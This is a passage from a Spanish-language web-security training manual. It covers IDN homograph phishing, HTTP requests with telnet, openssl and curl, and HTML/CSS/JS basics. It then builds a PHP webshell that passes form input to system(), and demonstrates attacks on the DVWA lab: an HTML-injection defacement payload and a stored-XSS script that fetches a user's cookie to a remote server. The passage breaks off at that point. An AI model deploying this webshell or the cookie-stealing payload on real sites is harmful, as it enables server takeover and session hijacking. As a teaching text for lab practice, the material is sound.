y ver todos los resultados que contengan nuestro emoticono:

Breve introducción informal a Internationalized Domain


Names (IDN) y el sistema punycode

494
Web

Los carácteres unicode también presentaron un desafío para los nombres de dominio
porque el sistema DNS sólo estaba preparado para carácteres ASCII. Luego no podía
gestionar estos carácteres unicode. Como vimos al principio de esta sección en el RFC
3896, los nombres de dominio siguen la especificación del RFC 1034:

Es decir, de acuerdo al RFC 1034, los nombres de dominio, basicamente, podían contener
letras, números, guiones, el símbolo menos (-) y el punto (.). Con estas reglas tan
restrictivas no se podían representar dominios en idiomas como el japonés o el árabe. Para
permitir nombres de dominios con carácteres unicode se crearon:

Internationalized Domain Names (IDN)


Punycode

Los IDN son nombres de dominio que contienen carácteres no-ASCII y Punycode es el
método de codificación que se usa para representar estos caracteres no-ASCII. Vamos a
explicarlo un poco mejor. Cuando se decidió aceptar nombres de dominio IDN con
caracteres no-ASCII había un problema y es que, como hemos visto, las reglas de los
nombres de dominio no permiten estos caracteres no-ASCII. La solución que se dió a este
problema fue implementar un método de traducción, en los navegadores de internet, para
convertir los IDN (nombres de dominio con caracteres no-ASCII) a cadenas de carácteres
ASCII. A este método o sistema de codificación se le denominó Punycode. El algoritmo o
método de traducción que utiliza punycode esta descrito en el RFC 3492. Grosso modo, el
formato que utiliza punycode para codificar los dominios IDN en cadenas ASCII es:

xn--{caracteresASCIIDelDominio}-{codificaciónPunicodeDeCaracteresNo-ASCII}.ext

Aunque describir el algoritmo excede del alcance de esta pequeña guía, veamos algunos
ejemplos. Accedemos a una página web que nos convierta caracteres unicode a punycode
como [Link]

495
Web

vamos a hacer una pequeña traducción. Para ello, hacemos click sobre la sección
Caracteres Unicode:

en el desplegable, seleccionamos 04: Cyrillic para usar este grupo de caracteres:

496
Web

ahora hacemos click sobre el símbolo a en Cyrillic -que no es lo mismo que la letra a del
alfabeto aunque se le parezca mucho-:

497
Web

Ahora seleccionamos 00: Basic Latin, Latin 1 del menú desplegable:

Ponemos el cursor detrás del símbolo a del grupo de caracteres Cyrillic y hacemos click en
la letra p:

498
Web

Ponemos el cursor detrás de la letra p y hacemos click nuevamente en la letra p para añadir
otra más:

A continuación ponemos el cursor detrás de la segunda p y añadimos una l:

499
Web

ahora ponemos el cursor detrás de la l y añadimos una e:

finalmente, nos ponemos detrás de la e y añadimos el .com:

500
Web

y pulsamos el botón A Punycode:

para traducirlo:

501
Web

vemos que la traducción:

[Link]

sigue el formato punycode que visto anteriormente:

xn--{caracteresASCIIDelDominio}-{codificaciónPunicodeDeCaracteresNo-ASCII}.ext

Aunque el nombre de dominio registrado es [Link], el nombre de dominio que


figura es exactamente igual al de [Link]. Ahora bien, en los navegadores modernos,
este dominio malicioso es tan obvio que es detectado a la primera y se muestra su
representación punycode cuando lo copiamos

y pulsamos intro:

Sin embargo ciertas combinaciones de caracteres no son detectadas. Uno de los primeros
ataques que hicieron uso de esta técnica son los llamados Homograph attack para
confundir al usuario cambiando unos caracteres por otros y registrar un nombre de dominio
que visualmente se vea igual que otro. La descripción completa del ataque puede
encontrarse en el siguiente documento:

[Link]

Veamos un ejemplo publicado en la página Krebonsecurity. Si accedemos al dominio que


nos indican en esa página usando la última versión de firefox veremos que seremos
víctimas del ataque de phising:

Si probamos en Edge veremos que identifica el dominio malicioso y lo traduce a punycode:

502
Web

Para defendernos de este tipo de ataques sólo podemos contar con la seguridad del propio
navegador. Habrá dominios maliciosos que sean detectados por firefox y no por chrome y
viceversa.

Para ampliar información consultar el siguiente libro:

Tangled Web - A Guide to Securing Modern Web Applications

Breve introducción informal al protocolo HTTP


Una vez que hemos visto que una URL identifica un recurso (archivo) en internet. Vamos a
ver cómo hacemos las peticiones a esos recursos. En la vida real, utilizamos la lengua
castellana para solicitar un café al camarero (servidor) y en internet, el navegador web
utiliza un lenguaje (protocolo) llamado HTTP para pedir los cafés (páginas web) al camarero
(servidor). Aunque la última versión de este protocolo es la 2.0, vamos a ver la 1.1 que es la
versión más utilizada. La estructura de una petición HTTP en la que sólo vamos a pedir
datos es:

Vemos que el navegador sigue esta estructura al solicitar una página web:

503
Web

En este caso usa el método GET del protocolo HTTP 1.1 para solicitar la URI /mundo al
host [Link]. Asimismo cuando realizamos una petición, siempre que el servidor este
activo y contando con que ningún dispositivo de seguridad nos esté bloqueando,
recibiremos una respuesta HTTP. Aparte de la página web que vemos en el navegador, la
respuesta tiene la siguiente estructura:

Asimismo podemos ver esta misma estructura en el navegador:

504
Web

También se pueden enviar datos a través del protocolo HTTP, en este caso la petición tiene
la siguiente estructura:

Algunos de los métodos más frecuentes que podemos usar para realizar peticiones HTTP
son:

HEAD
OPTIONS
GET
POST
PUT
DELETE

Utilizando telnet para realizar peticiones HTTP

505
Web

Vamos a utilizar el programa telnet para familiarizarnos con el protocolo HTTP. Para ello,
haremos peticiones a la página [Link] Para conectarnos desde telnet a
[Link], tecleamos en el terminal de Kali Linux:

telnet [Link] 80

Veremos que conecta con el host y nos muestra el cursor parpadeando para indicarnos que
podemos realizar la petición. Escribimos la línea de la petición (Request Line). Vamos a
empezar usando GET para solicitar el recurso principal (URI /):

Añadimos las cabeceras que queramos usar:

y pulsamos intro para realizar la petición y obtener la respuesta:

506
Web

Si sólo quisiéramos las cabeceras HTTP de la respuesta, en vez de toda la página,


podemos usar el método HEAD:

Como podemos ver nos devuelve sólo la cabecera de la respuesta sin incluir el contenido.
Para saber todos los métodos del protocolo HTTP disponibles, podemos usar el método
OPTIONS:

507
Web

Como hemos visto en la sección anterior, podemos realizar peticiones HTTP pasando
variables en el query string de la URL para ello usaremos el verbo GET y haremos la
petición a la URI /get:

508
Web

También hemos visto que podemos pasar variables en el cuerpo de la petición usando el
método POST del protocolo HTTP. Para ello, realizamos la petición a la URI /post. Es
importante en las peticiones que utilizan el método POST añadir la cabecera Content-
Length:

Utilizando openssl para realizar peticiones HTTPS


Telnet es una herramienta útil para solicitar páginas por HTTP. Pero hoy en día la mayoría
de los recursos web se sirven mediante HTTPS. Debido a esto podemos usar el programa
s_client de openssl para realizar este tipo de peticiones. La sintaxis es:

openssl s_client -connect host:port

Por ejemplo, vamos a usar openssl para solicitar la página [Link] Para ello
tecleamos:

openssl s_client -connect [Link]

y pulsamos Intro. Tras la información del certificado, nos mostrará el cursor para que
realicemos la petición HTTP:

509
Web

y ahora podemos realizar la petición:

510
Web

Utilizando cURL para realizar peticiones HTTP o HTTPS


Uno de los programas más utilizados para realizar peticiones HTTP/HTTPS es cURL.
Aunque ya lo hemos utilizado un poco de pasada anteriormente, veamos un poco más de
detalle. Para hacer una petición GET con cURL simplemente escribimos curl seguido del
nombre de la web:

Si queremos que, aparte del contenido, se nos muestren las cabeceras de la respuestas, le
pasamos la opción -i a curl:

curl -i [Link]

Si sólo queremos las cabeceras de la respuesta, le pasamos la opción -I a curl:

curl -I [Link]

511
Web

Ahora bien, qué ocurre cuando hacemos una petición a una página cuyo certificado no ha
sido emitido por una CA de confianza:

curl [Link]

No nos deja ver el recurso porque el certificado no puede comprobarse. Para que acepte
certificados inseguros podemos usar la opción -k a curl:

curl -k [Link]

Ahora vemos que si nos acepta el contenido. Pero no sólo podemos hacer peticiones
usando el método GET del protocolo HTTP. Podemos pasar a curl la opción -X seguida del
método que queramos usar. Por ejemplo el método OPTIONS:

curl -X OPTIONS -i [Link]

512
Web

También podemos personalizar las cabeceras del protocolo HTTP que usará curl para
realizar la petición. Para ello, le pasamos a curl la opción -H seguida de la cabecera por
cada una de las cabeceras que queramos añadir. Por ejemplo, vamos a añadirle la
cabecera User-Agent para indicar quién hace la petición y la cabecerá Referer para indicar
desde donde venimos:

curl -H "User-Agent: Soy Curl desde Kali" -H "Referer: [Link]


[Link]

Hasta ahora las peticiones que hemos realizado son para solicitar información pero y si
queremos hacer una peticion con el método POST para enviar datos. En ese caso,
pasamos a curl la opción --data y a continuación los datos a enviar:

curl -X POST --data "edad=30&color=morado" [Link]

513
Web

Frontend - El lado del cliente


Una vez visto a dónde solicitar los recursos (URL) y cómo solicitarlos (protocolo HTTP).
Vamos a ver un poco más en detalle que nos devuelve el camarero (servidor) cuando le
pedimos un desayuno (recurso).

Breve introducción informal a HTML


El lenguaje HTML (HyperText Markup Language) es un lenguaje de marcado y nos sirve
para indicar qué es cada cosa en una página web. Es decir, es el lenguaje que da estructura
a la página web. Es un lenguaje de marcado porque utiliza etiquetas para indicarnos qué es
cada cosa que hay en una página web. Por ejemplo, si queremos indicar que un texto es un
párrafo, lo ponemos entre etiquetas p de párrafo:

<p>Esto es un párrafo</p>

Como se puede aprenciar la primera etiqueta p indica donde empieza el párrafo y la


siguiente /p indica dónde acaba. Sí alguna palabra de nuestro párrafo es importante,
podemos indicarlo situando la palabra importante entre etiquetas strong:

<p>La <strong>teoría</strong> es importante para entender la práctica</p>

Este conjunto de etiquetas que podemos usar son las que dan estructura a la página web y
forman un documento html. Vamos a verlo de forma práctica. Sí copiamos el texto y las
etiquetas html a un documento de texto:

514
Web

Como la palabra teoría esta entre etiquetas strong, se muestra en negrita. Hay muchas más
etiquetas interesantes. En dos ejemplos anteriores hemos utilizado una etiqueta para indicar
dónde empieza el contenido y otra para indicar dónde acaba, pero esto no siempre es así.
Por ejemplo, si quisiéramos insertar una imágen, nos bastaría usar una etiqueta img y
decirle dónde está la imagen usando la palabra src:

<img src="[Link]

En este caso la imagen se encuentra en: [Link] La palabra src que


hemos usando dentro de la etiqueta img se denomina atributo de la etiqueta y nos aporta
información adiccional. En este caso nos indica dónde esta la imagen que mostrará la
etiqueta img. Para verlo de forma práctica, si esto lo añadimos al fichero con extensión html:

y lo guardamos. Al abrir el fichero en un navegador veremos que se añade la imagen:

Cuando metemos un contenido entre etiquetas html, este contenido pasa a ser un elemento
del documento HTML. Los elementos pueden clasificarse en 2 grandes grupos:

elementos de línea

515
Web

elementos de bloque

Los elementos en línea son aquellos que no producen un salto de línea cuando los
usamos. Por ejemplo, cuando usabamos la etiqueta strong dentro de un párrafo para indicar
que una palabra era importante, la palabra seguía dentro de la misma línea:

Otro elemento en línea muy común son los enlaces que, en el lenguaje html, se llaman
anclas (anchors). Para crear un enlace utilizamos la etiqueta a y el atributo href para
indicarle a dónde queremos enlazar. Veamos un ejemplo:

<p>Siempre podemos intentar buscar en <a href="[Link] para


tener más información</p>

Si añadimos esta línea a nuestro fichero de texto:

guardamos el fichero y lo abrimos en el navegador web, veremos el enlace. Y si pulsamos


sobre él:

516
Web

Nos llevará a la web de google:

Los elementos en bloque son aquellos que añaden un salto de línea. Por ejemplo, la
etiqueta br añade un salto de línea a los párrafos:

<p>Este texto esta arriba<br>y este texto abajo</p>

Si copiamos este texto a nuestro bloc de notas:

nuevamente lo guardamos y lo abrimos en el navegador:

517
Web

veremos como la etiqueta br ha añadido un salto de línea al contenido. Los elementos de


bloque se conocen como cajas y el elemento de bloque genérico se llama div. Podemos
añadirlo a nuestra web:

<div>Este es un elemento genérico</div>

Para visualizarlo, nuevamente, lo añadimos al bloc de notas:

y lo visualizamos en el navegador:

518
Web

Debido al alcance de esta pequeña guía, no es posible cubrir en detalle todas las etiquetas
del lenguaje HTML pero, para quién quiera profundizar o tener una guía, puede consultar
Mozilla Developer Network

Breve introducción informal a la estructura de un


documento HTML
Hasta ahora hemos usado etiquetas html en un bloc de notas para crear una página web.
Estas etiquetas las hemos puesto sin ningún tipo de orden lógico. Sin embargo, cuando se
crea un documento html, se sigue una organización determinada. Grosso modo, se reparte
el contenido entre:

la parte que va a ver el usuario


la parte que no va a ver el usuario

La parte que va a ver el usuario se mete entre la etiqueta body y el contenido que no va a
ver se mete entre la etiqueta head. El contenido que el usuario no va a ver son
normalmente metadatos u otra información que no es mostrada directamente por el
navegador cuando el usuario accede a la página web. Toda página web comienza por la
declararse como documento html:

<!doctype html>

519
Web

y después entre la etiqueta html, define el contenido que verá o no verá el usuario:

<!doctype html>

<html>
<head></head>
<body></body>
</html>

Por ejemplo, para crear un documento html correcto de la web que hemos creado antes,
meteriamos el contenido entre la etiqueta body:

<!doctype html>

<html>
<head></head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p>Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>

Si copiamos el contenido al bloc de notas:

lo guardamos y lo abrimos en el navegador:

520
Web

Aunque el contenido no cambia, ahora tendremos un documento html bien formateado.

Breve introducción informal a CSS


CSS da color y estilo a las páginas web. Si HTML me dice qué es cada cosa que hay en la
página, CSS me va a decir donde quiero poner cada cosa, de qué color quiero pintarlas o
que tamaño de letra usar. Y como no podía ser de otra forma, utilizaremos una etiqueta que
se llama style para usar reglas CSS en nuestra página web:

<style>/*Las reglas CSS van aquí*/</style>

Veamos un ejemplo con la página web que hemos creado antes. Como las reglas CSS no
hay necesidad que sean visibles para el usuario, pondremos la etiqueta style dentro de la
etiqueta head. La primera regla que vamos a usar es que las palabras importantes, esas
que iban entre etiquetas strong, se muestren en azul. Para ello, indicamos la etiqueta a la
que queremos afectar, en este caso strong y entre corchetes indicamos la regla:

<style>
strong {
color: blue;
}
</style>

521
Web

Si añadimos este código a nuestra página:

<!doctype html>

<html>
<head>
<style>
strong {
color: blue;
}
</style>
</head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p>Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>

Lo copiamos al bloc de notas:

Lo guardamos y lo abrimos en el navegador:

522
Web

Veremos que la palabra teoría ahora esta en azul. También hemos comentado que nos
permite decidir dónde poner cada cosa. Por ejemplo, si quisieramos poner el elemento de
bloque genérico div arriba a la derecha. Crearíamos una regla que indicase que queremos
posicionar ese elemento de forma absoluta, a 0 distancia de la parte superior de la pantalla
(top) y a 0 distancia de la parte derecha de la pantalla (right). La regla sería:

<style>
div {
position: absolute;
top: 0;
right: 0;
}
</style>

y si la añadimos a la página web:

523
Web

<!doctype html>

<html>
<head>
<style>
strong {
color: blue;
}
div {
position: absolute;
top: 0;
right: 0;
}
</style>
</head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p>Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>

nuevamente, lo copiamos al bloc de notas:

guardamos y lo visualizamos en el navegador:

524
Web

veremos que el elemento genérico (div) está ahora a la derecha. A veces no queremos que
una regla CSS afecte a todas las etiquetas de un mismo tipo. Para ello, como en el mundo
real, existen las clases. Aunque las reglas son iguales para todos, hay a clases de personas
que no les afectan. Para dar una clase a una etiqueta, por ejemplo, a un párrafo, usamos el
atributo class:

<p class="especial">Soy un párrafo con clase</p>

Una vez que una etiqueta tiene clase, poder hacer reglas CSS para esa clase. Para ello,
indicamos el nombre de la clase precedida de un punto cuando creemos la regla:

<style>
.especial {
color: purple;
}
</style>

Veamos un ejemplo en la web que estamos creando. Vamos a añadir al siguiente párrafo:

<p>Este texto esta arriba<br>y este texto abajo</p>

la clase especial:

<p class="especial">Este texto esta arriba<br>y este texto abajo</p>

525
Web

y actualizar el código de nuestra web con la regla CSS de la clase especial:

<!doctype html>

<html>
<head>
<style>
strong {
color: blue;
}
div {
position: absolute;
top: 0;
right: 0;
}
.especial {
color: purple;
}
</style>
</head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p class="especial">Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>

Si copiamos el código al bloc de notas:

526
Web

lo guardamos y mostramos en el navegador:

veremos que el texto del párrafo que tiene la clase especial está en morado. Otras reglas
que podemos utilizar son:

background para cambiar el fondo de pantalla


z-index para que un elemento se superponga a otro
width para definir el ancho de un elemento
height para definir la altura de un elemento
margin para definir el margen de un elemento

Nuevamente no es objeto de esta pequeña guía cubrir las reglas CSS, para ampliar
conocimientos se puede consultar Mozilla Developer Network

Breve introducción informal a ECMAScript (JavaScript)


ECMAScript, conocido coloquialmente como JavaScript, es el lenguaje de programación
que usan la mayoría de navegadores de internet. Si HTML me dice qué es cada cosa que
hay en la página y CSS me dice dónde y cómo quiero poner cada cosa, ECMAScript me
dice cómo se va a comportar cada cosa o cómo va a reaccionar ante las acciones del
usuario. Aunque se puede añadir código de ECMAScript en distintas partes que veremos
más adelante, normalmente se añade entre la etiqueta script. Uno de los primeros

527
Web

ejemplos que se suele mostrar, es mostrar un mensaje por pantalla. Para ello, entre la
etiqueta script, tecleamos la palabra alert seguido de paréntesis y un punto y coma (;) y,
entre los paréntesis, el mensaje a mostrar entre comillas:

alert("Aquí va el mensaje a mostrar");

Si añadimos el código, por ejemplo, al final de la etiqueta body de nuestra página web. Lo
copiamos al bloc de notas:

lo guardamos y abrimos el navegador:

528
Web

veremos el mensaje al cargar la página. Aprender ECMAScript (JavaScript) da para varios


cursos. Aunque esta sección se ampliará en un futuro, como siempre para ampliar
conocimientos, podemos consultar Mozilla Developer Network. Este lenguaje es muy
importante porque se utiliza cuando se descubre alguna vulnerabilidad que nos permite
ejecutar scripts en el sitio web de otra persona (ataque XSS). Veremos algunos de estos
ataques y el código más adelante en este capítulo.

Creando el frontend de una shell muy sencilla


Vamos a utilizar los conocimientos adquiridos para aplicarlos, poco a poco, a un proyecto
práctico. Vamos a crear un web con un par de formularios para que un usuario pueda
ejecutar comandos. No todo sonará familiar, pero iré intentando explicar las líneas que
usaremos para crear el proyecto. Espero qué, con el texto que pongo aquí y la ayuda de
Mozilla Developer Network podamos conseguirlo, sino no dudéis en preguntar. Lo primero
que debemos crear es el HTML nuestra web. Para ello, utilizamos la plantilla básica que
vimos:

529
Web

<!doctype html>

<html>

<head>
</head>

<body>
</body>

</html>

Añadimos un título a la página usando la etiqueta title:

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>
</body>

</html>

Asi cuando copiemos el código en un fichero:

y lo abramos en un navegador:

530
Web

veremos que el título se muestra en la barra del navegador. Lo siguiente que vamos a
añadir es una etiqueta generica de bloque. Esa que llamabamos div. Pero como el nombre
de div no dice mucho y vamos a utilizar otras etiquetas que hacen lo mismo que div pero
que dan significado a lo que hacemos. Algunas de estas etiquetas que hacen lo mismo que
div son:

header
footer
main
nav
aside
section
article
figure
audio
video

Lo primero que vamos a diseñar es la cabecera de la página. Para ello, vamos a usar la
etiqueta header para crear un bloque y, dentro de ella, la etiqueta h1 (encabezado de
importancia 1) para poner el título. Hay 6 etiquetas de encabezados que van desde la h1
para el encabezado más importante hasta el h6 el menos importante. Por ejemplo, h1
podría ser el títular de un periódico o un título de una página web y h2 un subtítulo o
subtitular. Al final esto lo decide el diseñador. Para lo que nos interesa, lo haremos sencillo
un h1 para el título de la página dentro de unas etiquetas header para decir que ese es el
encabezado de la página. Como queremos que el título lo vea el usuario, lo pondremos en
las etiquetas body:

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

</body>

</html>

531
Web

Si actualizamos el fichero y lo abrimos en el navegador, podremos ver el título:

Una vez, tenemos la cabecera de la página, vamos a por el contenido principal. Lo


ponemos en una de estas etiquetas que hacía lo mismo que un div, la etiqueta main. Y
dentro de main, creamos nuestro primer formulario con la etiqueta form. La etiqueta form,
entre otros, suele tener los siguientes atributos:

method => método del protocolo HTTP que usaremos para enviar el formulario (GET o
POST)
action => indica qué fichero del servidor se hará cargo cuando pulsemos el botón
submit. Si queremos usar el mismo fichero podemos indicar con el símbolo #

con estos datos, ya podemos añadir el primer formulario en la etiqueta main:

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

<main>
<form method="post" action="#"></form>
</main>

</body>

</html>

Para crear campos donde el usuario pueda meter texto -en este caso el comando que
quiera ejecutar- usamos la etiqueta input. La etiqueta input tiene varios tipos que se indican
con el atributo type. Para este formulario veremos 2:

type="text" para aceptar texto del usuario

532
Web

type="submit" para crear el botón que ejecute

Añadimos estas dos nuevas etiquetas al código:

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

<main>
<form method="post" action="#">
<input type="text"><input type="submit">
</form>
</main>

</body>

</html>

Nuevamente guardamos los cambios y lo visualizamos en el navegador:

Enviar consulta como nombre del botón no resulta muy intuitivo, por lo que utilizamos el
atributo value para darle otro texto. Por ejemplo, ejecutar:

533
Web

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

<main>
<form method="post" action="#">
<input type="text"><input type="submit" value="Ejecutar comando">
</form>
</main>

</body>

</html>

Ahora un poco mejor:

Con esto habríamos acabado todo el código html que necesita la webshell. Podemos
añadirle estilos (CSS) para que se vea mejor.

Backend - El lado del servidor


Hasta ahora hemos visto el lado del cliente. Es decir, lo archivos (cafés) que nos sirve el
camarero (servidor). Vamos a ver un poco que ocurre al otro lado de la barra (backend).

Breve introducción práctica a PHP


PHP es uno de los lenguajes de programación más populares para la programación del lado
del servidor (camarero). Muchos CMS como wordpress o joomla están hechos con PHP.
Como PHP describe lo que hace el camarero (servidor), necesitamos uno. Para ello,

534
Web

tenemos al camarero (servidor) apache en Kali Linux. Lo iniciamos:

Una vez iniciado, nos vamos a la carpeta donde se encuentran los ficheros de apache
/var/www/html:

Cualquier fichero que pongamos en esta carpeta, será accesible desde nuestro navegador
siempre y cuando el fichero tenga los permisos necesarios. Vamos a crear un archivo php.
Los archivos PHP, al igual que ocurre con los HTML, tienen una etiqueta de inicio y otra de
cierre:

etiqueta de inicio => <?php


etiqueta de cierre => ?>

La instrucción echo sirve en PHP para escribir por pantalla. Con estos datos ya podemos
crear un fichero sencillo con este código:

<?php
echo "Bienvenido a PHP";
?>

al igual que ocurría con ECMAScript (JavaScript) y muchos otros lenguajes que comparten
la sintaxis de C, las sentencias (intrucciones) del lenguaje terminan con punto y coma.
Creamos el fichero con cualquier editor de texto:

añadimos el código:

y, si los permisos están correctos (ver el comando chmod), podremos visualizarlo en el


navegador:

535
Web

si desde el navegador (cliente) vemos el código del archivo, veremos que no hay ni rastro
de PHP:

Esto es, porque el cliente no tiene acceso a lo que hace el camarero (servidor). Una de las
ventajas que hicieron a PHP muy popular es que sus etiquetas pueden mezclarse con
etiquetas html. Vamos a ver un ejemplo y dar funcionalidad a la web shell. Para ello,
copiamos el código de la webshell a un nuevo fichero dentro del directorio de apache. Creo
un fichero llamado [Link] con un editor de texto:

y copio el código html que teniamos en el frontend:

Para que PHP pueda ver el contenido de lo que escribimos en el formulario, deberemos dar
un nombre al campo usando el atributo name. Se lo damos:

536
Web

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

<main>
<form method="post" action="#">
<input type="text" name="comando"><input type="submit" value="Ejecutar
comando">
</form>
</main>

</body>

</html>

En PHP existen unas variables especiales que nos facilitan los datos que mete el usuario en
el formulario. En este caso el usuario nos facilita el comando que quiere ejecutar usando el
método POST del protocolo HTTP. Luego para mostrarlo haremos:

<?php echo $_POST["comando"]; ?>

Si añadimos esta línea debajo del formulario:

537
Web

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

<main>
<form method="post" action="#">
<input type="text" name="comando"><input type="submit" value="Ejecutar
comando">
</form>
<?php echo $_POST["comando"]; ?>
</main>

</body>

</html>

guardamos y vamos al navegador para ver el fichero ([Link]):

podremos teclear algún texto y pulsar el botón Ejecutar comando:

y veremos como el texto se muestra justamente debajo:

538
Web

Sin embargo, el objetivo de la webshell es ejecutar comandos. La función system de PHP


hace justamente eso. Asi que si modificamos la línea PHP así:

<?php
echo system($_POST["comando"]);
?>

en el archivo [Link]:

<!doctype html>

<html>

<head>
<title>Frontend de webshell sencilla</title>
</head>

<body>

<header>
<h1>Webshell muy sencilla</h1>
</header>

<main>
<form method="post" action="#">
<input type="text" name="comando"><input type="submit" value="Ejecutar
comando">
</form>
<?php echo system($_POST["comando"]); ?>
</main>

</body>

</html>

Tendríamos una webshell muy sencilla, pero que funciona. Por ejemplo si tecleamos ls y
pulsamos el botón Ejecutar comando:

539
Web

Veriamos que aparecen listados todos los ficheros de la carpeta del servidor apache:

NOTA No se ha reparado en validar los datos de entrada que puedan meter en el formulario
porque se sale del alcance de este manual

6. Ataques conocidos a aplicaciones y servidores web


Para probar estos ataques, vamos a utilizar, principalmente, 2 aplicaciones web:

Damm Vulnerable Web Application


OWASP Webgoat

Damm Vulnerable Web Application (DVWA)


Para algunos ejemplos, vamos a utilizar nuevamente la aplicación Damm Vulnerable Web
Application que está incluida en la máquina virtual Metasploitable 2. Accedemos a la
aplicación tecleando la IP de la máquina virtual Metasploitable 2 en un navegador web y
haciendo click sobre el enlace DVWA:

540
Web

Cuando se nos muestre la pantalla de login, salvo que se indique lo contrario, accederemos
a la aplicación con las siguientes credenciales:

Username => gordonb


Password => abc123

Tras acceder a la aplicación, pulsamos sobre el botón DVWA Security en el menú de la


izquierda:

541
Web

Seleccionamos low en el menú desplegable y hacemos click en el botón Submit:

OWASP Webgoat
Para instalar OWASP WebGoat, accedemos al repositorio de WebGoat. Hacemos click con
el botón derecho en el archivo [Link] y hacemos click sobre la
opción Copy Link Location:

542
Web

Después abrimos un terminal y descargamos el archivo utilizando wget:

wget [Link]
[Link]

Tras descargarlo, ejecutamos la aplicación con el comando:

java -jar [Link]

543
Web

Cuando termine de iniciarse nos informará que se ha levantado la aplicación en el puerto


8080:

Accedemos a la aplicación desde el navegador utilizando la URL:


[Link]

HTML Injection
HTML injection consiste en usar etiquetas html y reglas css en un formulario que nos lo
permita para realizar acciones maliciosas como, por ejemplo, defacing. Defacing es cambiar
el aspecto visual de parte o de toda la web. En este ejemplo usaremos HTML injection para
realizar un defacing.

Usando html injection para realizar un defacing


Vamos a comenzar viendo como sólo utilizando HTML y CSS, podemos ser capaces de
cambiar el aspecto visual de una web. En cualquier sitio donde nos permitan hacer
comentarios, ya sea en noticias de periódicos, foros, un libro de visitas, etc. Se debería
verificar si existe esta vulnerabilidad. Nosotros, aparte de verificar la vulnerabilidad, nos
vamos a sacar partido de ella. Para ello, pulsamos sobre el botón XSS Stored en el menú
de la izquierda:

544
Web

Probablemente, aparte de escribir comentarios utilizando sólo texto:

también nos permitan escribir comentarios utilizando etiquetas HTML. Por ejemplo, quizá
alguna persona quiera resaltar una palabra en negrita para que destaque en el texto. Para
poner una palabra en negrita, utilizamos la etiqueta strong del lenguaje HTML. Ponemos la
palabra que queramos destacar entre las etiquetas strong y pulsamos el botón Sign
Guestbook:

545
Web

y veremos que la palabra serio aparece en negrita en los comentarios:

Hasta aquí todo bien. Asimismo vemos que, si intentamos poner un comentario demasiado
largo, no podemos. En este caso llegados a la letra r de la palabra corta, no nos permite
continuar:

Vamos a ver primero como desactivar esta limitación de caracteres cuando realizamos
comentarios en la página web. Para ello, usamos la tecla F12 para desbloquear ver el texto
de la web. Hacemos click en la flecha que está arriba a la izquierda del cuadro de opciones
que se nos ha desplegado:

546
Web

y hacemos click sobre el recuadro del comentario para ver en la página web la parte del
texto donde está el recuadro del comentario:

Una vez localizado nos damos cuenta que nos están limitando la longitud del texto a 50
caracteres. Como queremos escribir más de 50 caracteres, seleccionamos el texto
haciendo doble click y borramos el atributo maxlength:

de esta forma podremos escribir un comentario todo lo largo que queramos:

547
Web

Pero que ocurre si ahora en vez de hacer un comentario, llega un usuario un poco trasto y
teclea las siguientes etiquetas html:

<div style="position:absolute;left:0;top:0;width:100%;height:100%;background:black;col
or:white;z-index:9999"><h1 style="text-align=center;margin-top:10px;">Trasto ha estado
aquí</h1><img src="[Link]

en el recuadro de comentario y hace click en el boton Sign Guestbook:

Debido a que los comentarios que hacemos en la aplicación se muestran cada vez que un
usuario accede, si esto ocurre, habrá conseguido que, en vez del contenido de nuestra web,
se muestre el contenido que el quiera:

548
Web

Este cambio es permanente hasta que un administrador borre el comentario de la base de


datos y, aunque no se haya inflingido daños a nivel de aplicación, a nivel de reputación de la
compañia puede tener efectos muy negativos.

XSS (Cross Site Scripting)


Consiste en poder ejecutar nuestro propio código, normalmente en ECMAScript (JavaScript)
el sitio web que estemos.

NOTA
Pendiente de ampliar

Aprovechando un XSS Stored para robar una sessión


(session hijacking)
La mayoría de los mecanismos que nos permiten mantener una sesión en una página web
funcionan a través del texto que tiene asociado la cabecera cookie del protocolo HTTP:

549
Web

Se puede acceder a las cookies de una página y enviarlas a un servidor remoto usando
ECMAScript (JavaScript). Si tenemos el texto de la cookie de un usuario, en muchos casos,
seremos capaces de suplantar su identidad. Probemoslo en DVWA, desactivamos la
limitación de los caracteres que tiene el formulario del mismo modo que hicimos en el
apartado de HTML Injection. Es decir, inspeccionamos el elemento donde tecleamos el
comentario:

550
Web

y borramos el atributo maxlength:

hacemos un comentario en el mismo sitio que antes, añadiendo tras el comentario el


siguiente código que, no sólo va acceder a la cookie del usuario, sino que la enviará a un
servidor remoto. Para realizar esta tarea le vamos a indicar:

El nombre de dominio o dirección IP de la máquina donde queremos enviarlo (Servidor


Apache de Kali Linux en este caso)
La URI que gestionará los datos una vez se los enviemos (En este caso la URI es
/[Link])

<script>fetch(`[Link]

Con esa línea de código vamos a conseguir que se envíe la cookie al servidor remoto que
queramos. Antes de teclear el comentario, como estamos enviando la cookie a nuestro
